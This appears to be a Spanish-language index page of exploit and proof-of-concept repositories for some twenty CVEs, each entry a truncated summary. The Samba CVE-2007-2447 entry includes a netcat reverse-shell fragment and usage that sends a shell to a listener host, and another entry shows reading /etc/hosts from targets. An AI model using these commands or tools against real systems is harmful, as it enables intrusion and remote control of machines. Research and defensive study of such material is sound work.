CVE-2024-36401-PoC

CVE-2024-36401-PoC Este repositorio contiene un script de Prueba de Concepto PoC para CVE-2024-36401, una vulnerabilidad que puede explotarse para obtener ejecución remota de código en el servidor objetivo. Características Asignar un listener de reverse shell usando Perl. Codificar comandos usand...

React2Shell-CVE-Lab

⚛️ React2Shell: CVE-2025-55182 Vulnerable Lab ⚠️ WARNING: INTENTIONALLY VULNERABLE APPLICATION This repository contains a Dockerized application specifically configured to be vulnerable to CVE-2025-55182 React2Shell. DO NOT deploy this container in a production environment or on a public server...

CVE-2017-15944-POC

CVE-2017-15944-POC POC para CVE-2017-15944 ejecución remota de código como root en firewalls de Palo Alto Networks Uso root@kitploit: python panos-poc.py https://panip...

CVE-2026-6960

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Carga Arbitraria de Archivos sin Autenticación Investigación por: Atomic Edge Severidad: Crítica | CVSS: 9.8 | Autenticación Requerida: Ninguna ⚠️ v2 — Correcciones técnicas aplicadas según los comentarios de la comunidad. Consulte el Registro de cambios...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ Unauthenticated RCE via calluserfunc ║║ ╚══════════════════════════════════════════════════════════════╝ 📋 Resumen...

CVE-2022-31793

CVE-2022-31793 -u especificar IP -l especificar archivo de IPs -v modo de verificación -f especificar archivo a leer python poc.py -u ip -v python poc.py -l url.txt -v python poc.py -u ip -f /etc/hosts python poc.py -l url.txt -f /etc/hosts...

CVE-2023-31902

CVE-2023-31902 — Ejecución remota de código en Mobile Mouse 3.6.0.4 Resumen: Mobile Mouse es una aplicación de Windows que convierte tu teléfono en un ratón/teclado a través de la red. Escucha en el puerto 9099 TCP y 35913 WebSocket sin autenticación por defecto. La vulnerabilidad permite a un...

CVE-2026-48907-

CVE-2026-48907 — Escáner y Exploit de RCE No Autenticado para JCE Editor de Joomla CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% Una herramienta de escaneo y explotación de vulnerabilidades basada en Python para CVE-2026-48907 , una vulnerabilidad crítica de ejecución remota de código no autenticada ...

CVE-2017-9791

CVE-2017-9791 Módulo de Metasploit para la vulnerabilidad de ejecución remota de código CVE-2017-9791 en Apache Struts...

CVE-2017-3241-POC

CVE-2017-3241-POC POC para la vulnerabilidad de deserialización de Java RMI Probablemente necesites usar JDK 8 para ejecutar este poc. Solo presta atención a la clase Message tanto en el lado del cliente como en el del servidor. Son diferentes. Y la diferencia es la clave para entender esta...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Herramienta gráfica de explotación de la vulnerabilidad de escritura arbitraria de archivos mediante el método PUT de Tomcat CVE-2017-12615 Introducción a la vulnerabilidad El 19 de septiembre de 2017, Apache Tomcat confirmó y corrigió oficialmente dos vulnerabilidades de alto...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC Prueba de concepto para CVE-2022-22965 Spring4Shell para el informe CS4239 G410. Adaptado de este PoC para demostrar el comportamiento sin parche y con parche. Ejecutando la demo Hay 2 programas de ejemplo dockerizados en este repositorio con código fuente idéntico. Uno us...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 Análisis en profundidad: Haz clic aquí para leer el informe técnico completo PDF. CVE-2024-28397: Generador de payloads para evasión de sandbox en Js2Py Un generador de payloads profesional para CVE-2024-28397. Esta herramienta genera código JavaScript malicioso diseñado para escapar del sandbo...

CVE-2025-54100

CVE-2025-54100 – PoC de análisis de respuestas de PowerShell Demuestra cómo CVE-2025-54100 provoca ejecución remota de código RCE en Windows PowerShell 5.1 mediante el análisis de HTML malicioso. ¿Qué es CVE-2025-54100? Tipo de vulnerabilidad: Riesgo de inyección de comandos cuando...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso root@kitploit: Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3...

CVE-2019-0193

CVE-2019-0193 Ejecución remota de código...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Información Este repositorio contiene dos PoCs para el Connect Box CH7465LG que ejecuta el Firmware CH7465LG-NCIP-6.12.18.24-5p8-NOSH o anterior. Para más información, echa un vistazo a mi blog. Uso Ejecución remota de código no autenticada $ python3 poc-rce.py...

CVE-2025-24813

Descripción Este repositorio es un entorno de reproducción para la última RCE de Tomcat CVE-2025-24813. ¡Solo para fines de aprendizaje e investigación! Condiciones de explotación La aplicación tiene habilitada la función de escritura de DefaultServlet, que está desactivada por defecto La...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Requisitos del entorno 1. tomcat8 8 Método de uso 1. Descargue springframeworkrce-0.0.1-SNAPSHOT.zip, descomprímalo y cámbiele el nombre a ROOT.war. 2. Reemplace la carpeta ROOT o el archivo ROOT.war en la carpeta webapps dentro de tomcat. 3. Cambie a la ruta b...

CVE-2019-0708

CVE-2019-0708 exploit inicial para CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP Remoto Windows Kernel Use After Free El controlador RDP termdd.sys maneja incorrectamente los enlaces al canal interno MST120, permitiendo que un mensaje de Indicación de Desconexión de Proveedor malformado caus...